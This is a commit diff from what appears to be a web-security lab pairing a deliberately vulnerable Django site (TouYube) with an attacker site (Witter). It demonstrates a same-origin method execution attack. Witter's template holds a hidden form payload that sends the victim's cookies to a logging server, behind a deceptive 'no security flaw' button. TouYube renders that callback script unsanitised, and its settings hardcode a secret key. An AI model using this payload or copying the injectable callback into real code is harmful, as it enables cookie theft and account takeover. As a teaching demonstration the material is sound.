fixed Witter icon

TouYube/apps/TouYube/views.py

@@ -5,9 +5,9 @@ from django.contrib.auth.decorators import login_required
 from django.core.handlers.wsgi import WSGIRequest
 from django.http import HttpResponse, HttpResponseForbidden, HttpResponseBadRequest
 from django.shortcuts import render, redirect, get_object_or_404
+from django.views.decorators.csrf import csrf_protect
 
 from apps.TouYube import forms, models
-from configuration import settings
 
 
 def view_homepage(request: WSGIRequest) -> HttpResponse:
@@ -143,11 +143,11 @@ def view_attack_some(request: WSGIRequest) -> HttpResponse:
     """
 
     # check the method
-    if request.method != "GET":
+    if request.method != "POST":
         return HttpResponseBadRequest()
 
     # get the callback code
-    callback_js = request.GET["callback"]
+    callback_js = request.POST["callback"]
 
     return render(
         request,

TouYube/configuration/settings.py

@@ -24,7 +24,7 @@ SECRET_KEY = 'django-insecure-87uz=bnd&m+$(!qfzs3$bum)!e6pw$8gaw_^cehmuyuft5q4!#
 
 # SECURITY WARNING: don't run with debug turned on in production!
 DEBUG = True
-ENABLE_CROSS_ORIGIN_SECURITY = False
+ENABLE_CROSS_ORIGIN_SECURITY = True  # Enable all the CORS, XFRAME, ... securities
 
 ALLOWED_HOSTS = []
 

Witter/apps/Witter/templates/Witter/some.html

@@ -4,7 +4,7 @@
 {% block body %}
     <h1>SOME</h1>
 
-    <form id="attack-form" action="http://localhost:8080/callback/" method="GET">
+    <form id="attack-form" action="http://localhost:8080/callback/" method="POST">
         <input type="hidden" name="callback" value="
             {# once the victim is calling the callback, send his cookies to this URL #}
             fetch('http://localhost:8081/logs/', {
@@ -15,9 +15,10 @@
                 headers: {
                     'Content-type': 'application/json; charset=UTF-8'
                 }
-            });
+            }).then(data => {
                 {# redirect the user to the homepage #}
                 document.location.href='http://localhost:8080/';
+            });
         ">
 
         <input type="submit" value="See my TouYube account with no security flaw 😊">